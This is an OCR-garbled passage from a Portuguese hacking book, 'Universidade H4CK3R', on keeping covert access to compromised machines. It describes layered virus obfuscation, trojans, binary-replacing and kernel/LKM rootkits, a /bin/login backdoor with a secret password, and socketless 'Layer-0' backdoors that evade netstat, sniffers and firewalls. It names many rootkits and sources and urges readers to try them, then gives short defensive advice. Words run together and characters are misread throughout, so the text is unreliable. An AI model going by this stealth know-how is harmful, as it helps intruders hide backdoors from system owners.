descomprimanahoradaexe- cução.Foiumamaneirainteligentede,durantemuitotempo,fazervirosespas- saremincólumespelo corredorpolonêsimpostopelasrotinasdosantivírus. Já há técnicasmodernasde ofuscamento,entretanto,quecolocamdiversas camadasde desafIoscomprimidose criptografados,comdiversosstubsdife- rentese chavesdecriptograftadistribuídaspeloarquivo.Cadavezqueé exe- cutado,o antivírusreplica-see seautocriptografanovamentecomoutrascha- vescujospedaçosserãogravadosemlocaisdiferentesdentrodo arquivo. Um antivirus,paraconseguirsimplesmenteler o conteúdoexecutáveldo vírus,teráde descascarváriascamadasdessacebola,descobrirváriaschaves criptográftcasembaralhadasno meiodosdadosdo arquivoe aindasaberquais tiposdecompressãoforamusadosemcadacamada(sim,é possívelusartipos diferentesde compressão).O quenoslevaaoproblemaprincipal:depoisde encontradoumvírusdessetipo,serãonecessáriosváriosdiasoumesmosema- nasparaquebrá-Io.Isso,é óbvio,ocorreráapenasseo antivírusconseguirde- terminarseaquiloé umvírus,coisamuitodifícildeacontecer. Paramaisinformaçõessobreessastécnicasdeofuscamento,pesquisenaInternet sobreo DaVinciGroup,umclãhackerfechadoe que,aoqueparece,é o único detentordessatecnologia;emborasejabaseadaemoutrasmaisantigasquejá estãorodandoporaífazmuitotempo.Éumasimplesquestãodevontade.Quan- do"caira fIcha"doscrackersprodutoresdevírusparaa técnica,a computação comoa conhecemoshojeentraráemcolapso. Indo alémdosCavalosdeTróia Já conversamosrapidamentesobrecavalosdetróianocapítuloVulnerabilidadesI. Naquelaocasião,ensinamoscomocriarumqueescondesseoB02Kemumainocente 320 I Ataque,defesae contra-ataque:Manutenção[
  • Universidade3°ano imagem.Pordefinição,oscavalosdetróiasãoapenasexpedientesutilizadosparafazer avítimaacreditarqueo arquivoemquestãotrata-sedealgoinofensivooumesmoum presente- emboraguardealgodanosoemsuasentranhas. Cavalosde tróia guardame transportamqualquer coisa- pode ser um backdoor(o maisusual),mastambémpodeserumvírus,umprogramainocen- te ou mesmooutro trojanmaispoderoso.Do casamentoentretrojanse backdoors,entretanto,é quesaemasmaioresdoresdecabeçadosadministra- dores de sistemase usuáriosdomésticos...Chamadosde RATs (Remote AdministrationTrojans),podemtomaro controletotaldo computadordavíti- ma.HámilharesdeRATsdisponíveisouemdesenvolvimentonaInternet,espe- cialmenteparaWindows.São,emsuamaioria,desenvolvidospor kiddiesou programadorespoucomaisqueisso,normalmenteemVisualBasicou Delphi. Sãorealmentebrinquedos:emboraos usuárioscomunssemprecaiamnas armadinlhasdeles.Verifiqueemareyoufearless.com.www.evileyesoftware.com ou troianforge.net(entreoutros)e vejavocêmesm02. Trojanstradicionaiscomoo B02K e assemelhadospossuemmuitaslimitações. Sãoaplicaçõese,portanto,rodamemUserMode.EnquantonoWindowsissonão é problemaparao invasor,pois o própriokernelrodapartesde seucódigo nessemodo,trojanscarregandobackdoorsnãofuncionariambememoutras plataformas.EmUnices,por exemplo,é bemprovávelqueosusuáriossequer tenhampermissãoderodarprogramasa partirde seusdiretóriospessoais. Há um outroproblemacom os trojanstradicionais:como sãoaplicativos estranhosao sistema,sãofacilmentedetectáveis.Mesmoescondendo-secom nomesinsuspeitosentreos arquivosdapastaC\ WINDOWS,ferramentasde auditoriapodemperfeitamenteencontrá-Ios. Paracombateressetipodeproblema,a seleçãonaturalcriouumaespeciali- zaçãona faunatrojânica:a substituiçãode programasdo sistemapor outros especialmentealterados.Chamadosderootkits,taisprogramasalteramo fun- cionamentorealdeutilitáriosdeusofreqüente,comoo Ibin/login emcompu- tadoresUnix ou o EXPLORER.EXEemmáquinasWindows- Finderno Mac OS,pconsolenoNovel1Netware,etc,etc,etc..-. Os rootkitsmaiscomunsfazem,basicamente,quatrocoisas:a) abrir um backdoorpermanenteouativadopor umcódigo,b) mentirsobreo estadodo sistema,c) apagarou destruiralgumacoisa,d) descobrirsenhase informa- çõessigilosas. A grandemaldadedeumrootkité, então,embutirumaou maisdessasquatro fimçõesemprogramasexistentes.Porexemplo,o jácitadoIbin/loginemsistemas Unix.Hárootkitsquedãoacessoirrestritoaosistemacasoumasenhapré-programa- dasejainformada.Porexemplo,emumsistemaSolaris,a senhadousuáriorooté @#S2L9*&.Éumaboasenha,dificildequebrarouadivinhar.Entretanto,seo progra- 2.Aliás,é umaboaidéiainterromper(novamente)a leiturado livro e brincarlongamentecom todos essestrojanse comasinformaçõese tutoriaispresentesnessessites.Leiaosfóruns;há threadsinteressan- tissimase esclarecedoras. 1321I ]Ataque,defesae contra-ataque:Manutenção
  • I Universidade H4CK3R I ma/bin/loginfor substituídopor umrootkitespecialmentepreparado,qualquer usuáriocoma senhaespecial(quepodeserconfigurada,por exemplo,para "xuxubeleza")ganhaacessoderootnamáquina.Umoutrotipoderootkitconheci- doquetambémafetao/bin/loginéumsimpleskeylogger:guardaemumarquivoas senhasdetodososusuáriosqueseconectamnosistema.Sujo,nãoacha? Um rootkitqueafeteo WindowsExplorer,por outro lado,podeesconder completamenteumapastaquecontenhadiversosarquivospertencentesao invasor.Mesmoqueavisualizaçãodearquivosocultosestejaligada,essediretório continuaráescondido- o rootkittratarádedeixá-lolongedosolhosdo usuá- rio.E no gerenciadordetarefasdoWindowsveremos,simplesmente,umains- tânciado Explorer. Há rootkitsdiversosqueescondemo estadodarede,conexões,sistemade arquivoseprocessossendorodados,entreoutrascoisas.Porexemplo,oifconfig no Linux poderiamentirsobreo modopromíscuo,escondendoo funciona- mentodeum sniffer.O TASKMAN.EXE(GerenciadordeTarefas)doWindows poderiaesconderprocessose serviçosdetrojans,víruse scanners.Outrosti- pos de rootkitspodemecoarascomunicaçõesparao hackerou daracesso contornandoasenhadoadministrador- porexemplo,emservidoresSSH,Telnet ou IIS modificados. A seguir,fornecemosumalista(bastanteincompleta)decomandose progra- masque podemsersubstituídospor rootkits.Existemváriosrootkitspara cadaumdessesprogramas,portantosugiroqueo leitor,aotomarcontatocom algonovo,experimenteemseusistemadetestes. ParaUnix,os programasmaisvisadospor desenvolvedoresde rootkitssão: login,ifconfig(noLinux),du,df,pwd,su,sudo,netstat,nc(sim,opróprioNetcat podeestaradulterado!),ps,find,slocate,updatedb.Osutilitáriosdeconfigura- çãonãoescapamilesosa rootkits:SAMno HP-UX,Admintoolno Solaris,Smit noAIX,Linuxconf,Webmin...Mesmocomandosinternosdealgunsshells- como ls e cd no Bash- podemsermascaradoscomwrappersqueescondamarqui- vosou mintamsobreseustamanhos.Umamalvadezamaioré instalarversões rootkitdosshellsdisponíveis(Bash,csh,ksh,etc)oudeservidorescomoApache e mesmoinetd/xinetdparaabrirbackdoors"sobdemanda". ParaWindowsalistaé parecida.O própriocmd.compodeseralteradopara mascararaçõesmaliciosasemfunçõesinternascomoo DIR e o CD.Adicional- mente,muitosdosarquivosdoWindows,comoosjá citadosEXPLORER.EXEe TASKMAN.EXE,podemser"torcidos".Cuidadoaindacom algunsutilitários freqüentementeusados,comoa Calculadora(CALC.EXE),o Blocode Notas (NOTEPAD.EXE), o WordPad (WRITE.EXE) e o Editor de Registro (REGEDIT.EXE).Todosessesprogramasestãopresentesem qualquerversão doWindows,mesmoemservidores,e podemsermanipuladosparafuncionar comorootkits.AtençãoespecialdeveserdadatambémàsDLLscompartilha- daspor muitosaplicativos,especialmenteo MFC.DLL. 13221 Ataque,defesae contra-ataque:Manutenção
  • Universidade3°ano A listaé muito maisvastado que a que mostramos.Não caberiaaqui elencar todos os tipos e todos os programasque podem ser alteradospor rootkits. Como sugestão,em Unix pesquisesobre lkr5, utrojan, backdoored sendmail, tOrnkit,rkssh,APSR, bdoor,wOOwOO,IOgin.kit,bd2, vexed,falcon-ssh,Trojanit, rootkitSunOS,sol,e Raditz (malvado:substituio Tripwire!), entre outros. Esse tipo de rootkit (substituição de programase utilitários do sistema)é mais comum em ambientesUnix do que em Windows, embora haja também inúmerasferramentaspara o sistemada Microsoft. Para começar,procure por ads_cat,FakeGINA, fu.ZIp, Xshadow, Hacker Defender, Hacker's Rootkit for NT,Slanret,Krei, IERK (ierk8243.sys),Backdoor-ALI,Caesar'sRegWrite Injector, null.sys,HE4Root (ou HE4Hook) e IIS injection. Parasabermais sobre essesrootkits e novastécnicas sobre o tema,procure por informaçõesemwww.packetstormsecurity.nl,no www.securityfocus.com, no www.windowsecurity.com, no site oficial da Microsoft (www.micro soft.com)e, principalmente,no Google ;-). There is no spoon Rootkitsnãosãotãofáceisdeidentificarcomooscavalosdetróiaebackdoors comuns.Um BackOrificeou um Netcatescutandoemumaportapodemser facilmentedescobertoscom um simplesnetstat.Mas se o netstatestiver rootldtted,a coisamudade figura- a informaçãosobreasportasabertasdo backdoor estariamcobertas. O mesmoocorre com os processos: um EXPLORER.EXEmodificadoaindaassimapareceapenascomoWindows Explorerno GerenciadordeTarefas. Entretanto,apesardemaiselaborados,rootkitscomunsquealteramafunci- onalidadedeprogramasordináriosdo sistemaoperacionalpodemserdetecta- dospor característicasnãoóbvias,mas,mesmoassim,aparentes.O programa alteradopodeter suadatade criaçãodiferentedasdemais.Mesmoque seja igual,o tamanhopodeserdiferentedooriginal,verificadoemoutrasmáquinas. Seo tamanhofor igual,seguramentesuaestruturainternanãoo é,e podeser comparadobytea bytecomadeumsistemasão. Outraalternativaé verificaro checksumdosarquivosquecompõemo pro- grama.SistemasUnix normalmenteutilizam-sede umaassinaturaMD5 para garantira idoneidadedosarquivos.Em sistemasWindows,a Microsoftadota umprocedimentosemelhante,baseadoemesteganografiaaplicadaaologotipo doWindows.Emqualquerdoscasos,seaassinaturanãobatercoma original,o programaseguramenteestáadulteradoe precisaserapagadoou substituído. Administradoresrealmenteparanóicos(e elesnãoestãoerrados,longedis- so!)instalamcontroladoresde inventáriocomverificadoresde integridadede arquivos(comopor exemplo,oTripwireou oAIDE)emtodosos seuscompu- tadores(inclusiveestaçõesde trabalho).Qualquerarquivoque sejaalterado por um rootkitserádetectadona próximaverificaçãoe umamensagemde 1323I I Ataque,defesae contra-ataque:Manutenção
  • IUniversidadeH4CK3RI alertavermelhosurgirána telado administrador. Parafugirdestecenário,oshackerscriaramumamodalidadederootkitscom um nívelmaiselevadode camuflagem.Destavez,os arquivose programasde sistemaficamintactos:o própriokerneldosistemaoperacionalé substituídopor outrocompletamenteadulterado.Umadualidadeparecidacoma do Super-Ho- memeseuantiego,oBizarro(ahhh,bonstemposemquepassavaasmanhãsvendo os Superamigos...). Já falamossobrekernelemvárioscapítulose mesmonosapêndices.Todoo processamentodosistemaobrigatoriamentepassaporelee,portanto,controlá-Io comoemumapossessãodemoníacaé algoextremamentepoderosoe destrutivo. Entreasiniqiüdadesquepodemospraticarapartirdenossapossessãoestão: ~ Camuflagemde arquivosdo invasor,exatamentecomonosrootkitsco- muns.Adiferençaé que,sendopelokeme1,talartifícioépraticamenteimpossível desercontornadooumesmodescoberto. ~ Camuflagemde conexõesde rede.Damesmaformacomofizemos,em Unix e emWmdows,comumaversãoalteradado comandonetstat,umkernel rootkittedpodetambémesconderconexõesespecíficas.Apenassniffersrodando emoutrasmáquinassãocapazesdedetectartaisconexões. ~ Camuflagemdeprocessos.O kemelgerenciaosprocessos.Oprópriokeme1, então,é quedáa listadelesparaos programasqueos listam(ps no Unix, GerenciadordeTaremsnoWmdows).Comisso,ficafácilesconderdessespro- gramas(e,portanto,dosusuários)osprocessosnocivosqueestejamrodando. ~ Redirecionamento.Imagineo seguintecenário:uminvasor"plantou"pro- gramasnocivosnapastaC:\WINDOWS\SYSTEM32\emumsistemaWindowsNT 4.O rootkitnokerneltratadeesconderessesprogramasenquantomostranormal- mentetodososoutrosarquivosdamesmapasta.Umdessesarquivoséumacópia modificadadoWindowsExplorer(EXPLORER.EXE).Cadavezqueo Windows solicitaaexecuçãodeumanovainstânciadoExplorer,emvezdeabriro programa original,o kerne1vairedirecionara execuçãoparao Explorermodificado.Qual- querferramentadeauditoriairá testara integridadedo EXPLORER.EXEoriginal (armazenadonapastaC:\WINDOWS)e o encontraráintocado. Usandoessasquatrotraquinagens,o programadorquedesenvolveuo rootkit podecriarduasrealidadesparao administradordeusuários.Uma,belae sem problemas,é completamentefalsa.A outra,cheiadefurosdesegurança,portasde trásemanipulaçãoindevidadedocumentosearquivos,é areal.Cabeaoadminis- tradordecidirsecontinuavivendofelizemsuaredomavirtualou se ingereo comprimidovermelho. Alterarumkernelpormeioderootkitséfácilepodeserfeitodeduasmaneiras. A primeiraé pormeiodepatches,e é apreferidapor hackersquedesenvolvem paraWmdows.FuncionandodamesmamaneiraqueosHotfixese ServicePacks daprópriaMicrosoft,umpatchparainserirum rootkitsobrescrevearquivos inteirosoupartedeles,injetandonovasrotinase desviose fazendo-osrespon- 13241 Ataque,defesae contra-ataque:Manutenção
  • Universidade3°ano derdiferentementedo originalmenteprevisto.Comoo kerneldoWindowsé compostopor algumasdezenasde DLLs acessíveispelosusuários,a tarefa, apesardetrabalhosa,é simplese àsvezessequernecessitaserexecutadapor umusuáriocommuitosprivilégiossobreo sistema.Comotodainstalaçãoem umsistemaWindows,apósa aplicaçãodo patcho sistemadeveserreiniciado - masissopodeserfeitopelopróproinvasore emmaisde90%doscasostal anomaliaseráconsideradapeloadministradordamáquinacomo"apenasmais umpaunoWindows". A outramaneira,maisapreciadapelosamantesdo Unix, funcionapor meio de MódulosCarregáveisdo Kernel(LoadableKernelModulesou LKM). Seo leitornãopulou os importantescapítulossobresistemasoperacionais,deve lembrar-sedeque,aocontráriodomicrokerneldoWindows,osUnix emgeral sãomonolíticos.Um únicomamutescoe por vezescriptografadoarquivoen-. globao núcleocentrale a maioriadosdriversdedispositivodo sistema. À medidaqueossistemasUnix iamevoluindo,percebeu-sequeapolíticade kernelsmonolíticosdeveriaser"flexibilizada",casocontrárioteríamossiste- mascujo núcleoresidirianum arquivode dezenasou mesmocentenasde megabytescontendomilharesdedriversparahardwarequenuncavamosad- quirir.Por isso,oskernelspassarama sermodulares:umnúcleobase(longede serummicrokernel)seriacarregadoprimeiro,e osdemaisdriversapenasseri- amcarregadosseo hardwarefossesolicitado.Essesdrivers(e algunsprogra- mase utilitáriosquerodamemmodokernel)residememLKMs.É fácilnotar queé possívelalteraro comportamentodo kernelcom móduloscarregados muitodepoisdo boot.Um LKM podeinclusivesercarregadosobdemanda, automaticamenteoua partirdeumcomandoemitidoremotamentepelo inva- soratravésdeumbackdoorcomum. Pesquisesobreos LKM rootkitsde seusistemaoperacionale, preferencial- mentetestetodososqueencontrar(emnossarededetestese nãoemambien- te de produção!!!).Relacionamosalgunsmaisfamosos(ou informaçõespara entenderLKMs nasdiversasplataformas),masintencionalmentenãocoloca- mosos maisrecentesparaacostumá-Ioa procurar. ParaWindows(9x e NT):www.rootkit.com(passagemobrigatória). ParaLinux:Adore,Carogna(prOgetoCarOnte),Knark, phide,heroine.c, spooflkm,suidshow.c,kinsmod,Rial,THC Backdoor(lkm),kernel.keylogger, SucKlT,1kminject; ParaSolaris:Plasmoid,slkm,ksolaris,THC Backdoor(1km); ParaFreeBSD:AdoreBSD,ipfhack,lbk,THC Backdoor(lkm); ParaOpenBSD:AdoreBSD,obsd_ipfhack,THC Backdoor(lkm); ParaWindows9x (vejasó!):BurningChome. Comoúltimadica,leiaesteswhitepapers: ~ www.wOOwOO.org/files/articles/lkmhack.txt; ~ packetstormsecurity.nl/docs/hack!LKMHACKlNG.html; ~ packetstormsecurity.nl/Win/vxd.txt. 1325 1 I Ataque,defesae contra-ataque:Manutenção
  • I Universidade H4CK3R I Comunicacãosemconexões I Tudoissoémuitobom,tudoissoémuitobonito,masqualquerservidor- seja eleHTTP,SMTP,Fingerou mesmoumbackdoorembutidono kernel- precisa de socketsparaseconectar.Comovimos,um socketé,grossomodo,um trio IP/Porta/Protocolo.Portanto,parameconectara um serviçoqualquer(um servidorSSH,por exemplo),tenhodecriarumaconexãoentreo meucliente SSHe a porta22 daqueleservidor.Com backdoorsé a mesmacoisa:se eu improviseium servidorcom Netcat"escutando"na porta9999,precisome conectara essaporta(e mantera conexão)parainteragircomele. Issoquerdizerquemesmoemsistemascomprometidospor rootkitsé possí- veldescobrirfalcatruasdessetipo.Bastarodarumsniffercomoo Etherealem outrocomputadordarede(aestaçãodetrabalhodo administrador,por exem- plo) e todasasconexõesespúriaspodemserdetectadas,certo? Detestodizerisso,masnovamentearespostaénão.Hápelomenosumamanei- rasconhecida3deescondero tráfegoenãoprecisardeconexãoparatrocarpaco- tes,quecombinasniffinge spoofingcomamanipulaçãodapilhaTCP/IP. Ouvidosmoucos Firewallse antivirussãoasestrelasdomomentonotocanteàsegurançaderedes ecomputadores.Coloca-semuitaféemambososdispositivose,numcomportamen- tonormalemsereshumanos,relaxa-senosdemaisaspectosdesegurança.Nãoestamos dizendoquesejamdespesasinúteis,pelocontrário:ftrewallse antiv1fUsmantêm longedeseussistemasumnúmeroasustador(muitosmilhões)descript-kiddies.Mas entrecentenasdemilharesdekiddieshádehaverumhackerdeverdade. Naverdade,nenhumftrewall- sejaelepor softwareoupersonificadoemum hardwarededicado- chegasequerpróximo de deixarqualquermáquinasegura, casoum hackerdessesapresente-separao confrontocom suaredeou seus servidores.Penseumpouco:seuftrewalltemde,obrigatoriamente,deixarpassar osprotocolose serviçosqueosusuáriosusam.Seosseususuáriossãoautoriza- dosa usarprogramasde InstantMessenger(ICQ, por exemplo),asportasdo ICQ devemestarliberadasparatráfegosaintee entrante.Seos seususuários usamaWorldWideWeb,tráfegoHTTP saintepelaporta80e entrantepor por- tasaltasdeve,também,serliberado. Sónocenárioacima,vemosqueasportas25e80sempreestarãolá,abertaspara quemquiserusar.Inclusiveparao hackerque,usandotodosostruquesquevimos emVulnerabilidadesenestescapítulosfinais,podepesquisartodaasuaredeinter- naeexplorarvulnerabilidadesconhecidasusandoapenasaporta80.Comosediz comumenteemcírculoscrackers,"aporta80sempreestarálá"...E o queo caríssi- moftrewallpodefazera respeito,eupergunto?Talvezregistrartodosospacotes quepassaremporele,parafuturaanálise- semuito. 3. Lembre-se:há maistécnicasempoder de clãshackere mantidasemsegredodo queasmaneiras divulgadasdesefazera coisa.Esperee fiqueatentoparanovidadesnaáreaembreve! 3261 Ataque,defesae contra-ataque:Manutenção[
  • Universidade3°ano Farejandoproblemas(comunicaçãosem sockets) Comovimosno capítuloanterior,podemosfarejara redetodae recolher tráfegomesmoquenãosejaendereçadoa nós.A utilizaçãomaisóbviadessas técnicasé,realmente,"escutar"aredeparadescobrirdados,usuários,senhase, possivelmente,capturarconexões.Masháaindaumnovotruquequepodemos fazercomsniffers. Conexõesestabelecidaspor meiode socketssãomostradascom umasim- plesconsultaaonetstat. ~y-.;:;/ Mesmo que seusistema D IIBarramentodaRede esteJ'a absurdamente P~rtasnaousadas I r+::= trojanizadoe cheio de - -- - -- -- - -- - -, 11- rootkits, as conexões: : TCP b 1 .d ( :BackdoorcomSniffer esta e eCl as e ,, mesmotrocas de paco- tes UDp, que não usam conexões, mas, sim, usam sockets) podem sermonitoradaspor ou- trasmáquinas.Mas e se não houver conexão? Um trojanou backdoore o softwareclienterodandono computadordo inva- sor podem comunicar-secom ou por meio de tráfegoespúrio. O hackerenvia pacotesTCP ou UDP a computadoresnão existentesna rede,mas dentro da faixade IPs aprovadapelo ftrewall.Como nãoé endereçadaaninguém,amensa- gemmorredentroda rede e não se falamaisno assunto.Só que o computador com o backdoor socketless,farejandotudo indiscriminadamente,capturou o pacotesemdestinoe o processou.Simplescomo roubardoce de criança. Servidordee-mail ServidordeWEB t BROAOCASTou pacotedestinadoa IP INEXIXTENTEcom iI IfragmantodecomandoparaoBACKDOOR ~:- HostcomTraian"Promieuo" ,--- -- ---,, ' , ,, , , I 'BACKDDDRI, I , I '- - - - - - - - -' u , Gateway HostcomTrajan"Pramicuo" Parao caminhoinverso,o backdoorutiliza-sedeprogramasjá existentesno computadore quejá fazem,pelapróprianatureza,conexõespor sockets.Um browseré o melhorexemplo.O ZéUsuárioabreseuInternetExplorere digita www.pornoshow.com.ru.O backdoordetectaa conexãoe injeta,no meiodo tremdedados,umoudoisbytesporpacoteemáreasnasquaisnãovãocausar problemas(o enchimento,porexemplo,ouo fragmentoffsetquandoestenão 13271 IAtaque, defesa e contra-ataque: Manutenção
  • IUniversidadeH4CK3RI é usado).Dependendodo protocolousadocomoburrode carga,é possível inclusive,colocarmaisdadosno própriopayloadIP.O endereçoIP dedestino nãoé alterado,e o invasorprecisaestarposicionadono caminhodaconexão parafarejarospacotese extrairdelesos dadosdacomunicação. Atualizandoa camuflagem Um snifferemmodopromíscuo,entretanto,é ruidosonumaredee podeser facilmentedetectávelcomferramentasespeciais.Masnadaimpedequeumsniffer sejaexecutadoemmodoexclusivo,farejandoapenaso tráfegoqueentrae sai. Nessecaso,ohackernãoenviaparaaredepacotescomIPsinexistentes,massim direcionadosexatamenteparaa máquinaondeestáo backdoor.Mascomum detalhe:direcionadosaportasquenãoestejamemuso. Emum computadornormal,a pilhaTCP/lP simplesmenteignorariaos dados que chegama portas inexistentesou desa- tivadas.Masemnosso caso,o backdoorestá escutandotudoo que chegaemtodaselas.São virtualmente 65 mil portasTCP e outras65 mil UDP que o backdoor ou trojan podeusarparaescutar o que chega,mesmo queaconexãonãoseja estabelecida. Portas ~ Barramento da Rede Portas [ ,m - -- - _n:~ U_S:das L: BACKDOOR}, ' '- - - -- -- - - - - -' +-- I r Pacote destinadoúnicamente ao HostTrojanizado,com fragmentode comandoparao BACKDOOReescolhendo aleatoriamenteumaPorta Ç8 HostcomTroJan"N'o.Promicuo" As conexõesnao sao estabelecidas! (semSYNIACK) Muitosdiriamqueissoéimpossível,queexisteaobrigatoriedadedeestabele- cer um socketpararecolherdadosde umaporta.Ledoengando.Os sniffers comuns(mesmoos maissimples)estãoaí paraprovarque se podeescutar tráfegomesmoquenãosejadirecionadoaoseuMAC!!!Senãohá necessidade deconexãonoprotocoloEthemet,é possívelrecolherqualquerdadodequal- querportasemquesejanecessárioconectarsocketsaelas.Essatécnicaé cha- madadeLayer-OListening. Comoveremosmaisadiante,é possívelcolocarumacamadaadicionalentre quaisquerduascamadasdapilhaOSI(ouTCP/IP,naprática)e manipulardadoslá. Essacamadapode,inclusive,ficarnascamadasdemaisbaixonível,ou mesmo entreapilhaeainterfacederedetlsica(daíonomeLayer-O,umavezqueacamada tlsicaé a l).As ferramentasquenormalmenteusamosparadetectar,monitorare barrarconexõeseV1rtlS- netstat,nbtstat,firewallseantiv1rtlslocaisetc,etc,etc.- estãoposicionadosantesdapilhaTCP/lP (ou seja,a pilhaficasempreentrea 3281 Ataque,defesae contra-ataque:Manutençãor
  • Universidade3°ano ferramentaearede).Qualquermanipulaçãoouinserçãoquefaçamosnofluxode dadospoderáserretiradaantesdechegaràsferramentasemquestão. Portanto,paraqueo backdoorqueusetécnicasde Layer-Opossaescutara rede,pelomenosumdostrêsrequisitosabaixodeveserpreenchido: ~ OspacotessãoendereçadosaoMACdainterfacederededocomputadorinvadido ~ A mensagemé umbroadcast, ~ A conexãoé ponto-a-ponto,comopor exemploemconexõesdiscadasvia modem,ISDN/RDSIou xDSLcompppoe. A partirdessespré-requisitos,é possívelinteragircom o backdoor/trojan usandoos seguintesexpedientes: ~ Broadcastsemseqüência; ~ PacotesICMP emseqüência(ping,DestinationUnreachableeTraceroute); ~ Pacotesenviadosa qualquerportado equipamento- abertaou não; ~ Pacotes rejeitadospela pilha TCP/IP por serem malformadosou encapsuladosde formaequivocada(noteque elestêmde serperfeitosnas camadas2e 3paraseremroteáveis,o quenosdeixaapenasa camada4...).Os pacotessãorejeitadospelapilhaTCP/lP masnãopelo trojan. Essascoisassãopossíveisdefazerempraticamente100%doscasos,nasredes modernasbaseadasemEthernet(ouPPP/SUP) eTCP/lP.Estima-sequepelome- nosumaplicativobemconhecidoseutilizedessastécnicas:o tãofaladoMagic Lantern/Carnivore,dogovernodosEstadosUnidos,usadoparamonitoraro trá- fegonaInternetà procuradeterroristas,pedóftlose hackersdeplantão. Layer-o:comofunciona Todasasinformaçõesaquireproduzidasforamobtidasnosforunsabertosdo trojanforge.netAmaioriadelasfoipostadaporM3du54,ummembrodogrupotrojanner britânicoDaVinci.Essegrupofoio responsável,em1999,pelodesenvolvimentodo trojanLSPTheMiniBaugediversosoutrosbaseadosemVxDs,portantotodaateoria aquidescritajáfoicolocadaempráticapelomenosemprovasdeconceito. Voltemosaoskernelrootkits.Comeles,podemosadicionardrivers,funciona- lidadeeproblemasemmodokernelaossistemasoperacionais.Podemos,inclu- sive,brincarcomapilhaTCP/lP e adicionarcamadasdebaixonívelentreelas. Portanto,simplesLKMsnosUnix e patchesnoWindowspodemadicionarao sistemafuncionalidadesLayer-O. Tomandoo Windows9x comoexemplo,é possívelcriarumVxD (releiao capítulosobreplataformasWindows)queimplementeessacamada.Umftrewall local(comoo ZoneAlarm,o BlackIceouoTinyFirewall,por exemplo)trabalha no lado"dedentro"damáquina,depoisqueos dadosjá passarampor todaa pilhaderede.Sehouveralgumpacoteoucomunicaçãomaliciosaocorrendo,o ftrewallnuncasaberá.A camadaextraadicionadaextrairáos dadospertinen- tesà conexãodo hackere os passará- por comunicaçãointerprocessose pulandotodaa estruturaTCP/lP - parao backdooroutrojan. 13291 ]Ataque,defesae contra-ataque:Manutenção
  • I UniversidadeH4CK3RI UmasimplesDLL queex- porte uma SPI (Service Provider Interface)tanto paraascamadassuperiores (TCP ou mesmode aplica- ção)quantoparaasdemais baixo nível (a camada Ethernetou PPp,por exem- pIo)podeintermediara co- municaçãoe"pular"o stack TCP/IP. EssaDLL poderia usarparasiticamenteportas de comunicação- ou seja, aproveitá-Iasestandoelasemusoounão,enãoconectarsocketscasonãoestejam - e tambémgerarportas-fantasmasquenãosãomostradasemferramentascomo o Netstatouo Ethereal.Ou,pelocontrário:essasportas-fantasmaspoderiamestar mostrandotráfegofalso,mas"benigno",confundindoo administradordequeestá tudobem.Oumaismalvadoainda:apresentarparaosaplicativostráfegoderede comosendolocal(inter-processos)edesviartráfegolocaloriginadoporaplicativos paraaredee nãoparaosprocessosa quesedestinam.No caminhocontrário,a DLLpoderiainjetaracomunicaçãoderespostaaohackernofluxodedadosdeum aplicativoexistente,reconhecidoe autorizado- seubrowserpadrão,por exem- plo,ouaqueleprograminhademensagensinstantâneas. Masháumamaneiramais ultrajanteainda- e mais eficiente.Até agoranão havíamoschegadoa uma implementaçãoLayer-Over- ,muuuum, dadeira.Mas transcenden- .L~~~~~~~~-jdo oTCPIIP,pode-se"plan- tar"aDLLemumacamada o maisbaixo possívelna pilhaderede- abaixoaté (ou imediatamenteantes, dependendodo caso)do Ethernet,doPPP/SLIPoumesmodecoisasmaisespecíficascomoFrameRelay ou X.25.Umaconexãodessasnunca serámostradaemqualquersnifferou pelo netstat,nunca serádetectadapelo firewalllocalbaseadoemsoftware (ZoneAlarm,BlackIceetc...)e provavelmentepassarápelo firewall/gateway externopois usaráconexõesválidascomo"laranjas".Qualquerauditoriano registrodepacotes(vocêcostumaler regularmenteos logsdo seufirewall, nãoé mesmo?)mostraráapenaspacotesoriginadospelosaplicativoscomuns - seubrowser,clientedee-mail,MSNMessenger... ~ 330I Ataque, defesae contra-ataque:Manutenção[ Rede ,« Extra u - - u - -- - -- - - -- - -- -, ---:c -. -~AC~DDD_R --Retiracomandose devolvepacoteTCP"Limpo" IP Ethernet « Rede «
  • Universidade3°ano Paraa pilhaTCPIIP, o backdoor/ trojanestádo ladode foradocom- putadorinvadido,portantoapilhanão oconseguevere,portanto,ossoftware firewallsnãoconseguemdetectar.Por outrolado,aindaé umprogramaro- dandono computador,possivelmente emkemelmodee,comacesso(porco- municaçãointerprocessos)aqualquer outroprogramadamáquina.Issofaz comqueliteralmentetodasasportasdoseusistemaestejamaoserviçodobackdoor/ trojan,e qualquerregistrodofirewallvaimostrarconexõeslegítimasderede.Mais ainda- é possívelinterceptarqualquerchamadaa qualquerAPI (dokemelou de programas)e acessosa discoe illtrá-Ios,remapeá-Iosou retomarumamentira.É possívelinclusiveenganarIDSscomatécnica.Nojentoeeficaz! Pesquisesobreo modelodereferênciaOSI,noMSDN(msdn.microsoft.com) e noTechNet(www.microsoft.com/technet)parasabermaissobreVxDs e sobrea estruturaLSP/NPI/TPI/SPIda pilha de redeMicrosoft.Obviamente, paraentendero queestánessesrecursossãonecessáriosconhecimentosmo- deradosdeprogramaçãodebaixonível- nadadeDelphiouVisualBasic- na plataformaWindows,especialmentesetiveracessoa umaassinaturado DLL DeveloperKit (DDK) ou do SoftwareDevelopmentKit (SDK).Paraqualquer outraplataforma(Unix,VAX/VMS,Novell,AS/400,Macintosh,IBM S/390...),o raciocínioe astécnicassãoexatamenteasmesmas. Inrface/ Aplicativo TCP IP Ethernet Extra DriverdaPlaca , ; BACKDOOR:~, ,~-------------- Defesae Contra-ataque Defender-sedasameaçasmostradasnestecapítulonãoé muitofácil.Hátrojans que,mesmosendofacilmentedetectáveis,sãoextremamentedifíceisou mesmo impossíveisdeseremremovidos.Naexperiênciadosautores,houvepelomenos duassituações(umWmdows98SEeumWmdows2000)emquenemarecupera- çãodaimagemoriginaldeinstalação,distribuídanosCDsquevieramjuntocomo computador,removeuo trojan.Houveanecessidadederefazeraspartições(apa- gamentoe criação)e formataro discorígido,alémdeusarumaferramentade apagamentototalpararemoverquaisquertraçosdo softwaremalicioso. Emalgunscasos,é possívelmonitorarasconexõese, umavezdetectadaa presençado invasor,rastreá-Iasatésechegaraoculpado.Nãohesiteemcontar comapolíciae comumbomtimedeadvogadoscasoalgumaaçãodohacker maliciosopossaserenquadradacomocrime. Backdoors,Vírus e CavaLosde Tróia Apesardeseremtodossoftwarescomaplicaçõesdiferentes,a profilaxiae o remédioparaelesé,basicamente,amesma,umavezqueasformasdecontágio e os métodosparadetecçãoe eliminaçãosãoparecidos. 1331I IAtaque, defesa e contra-ataque: Manute~
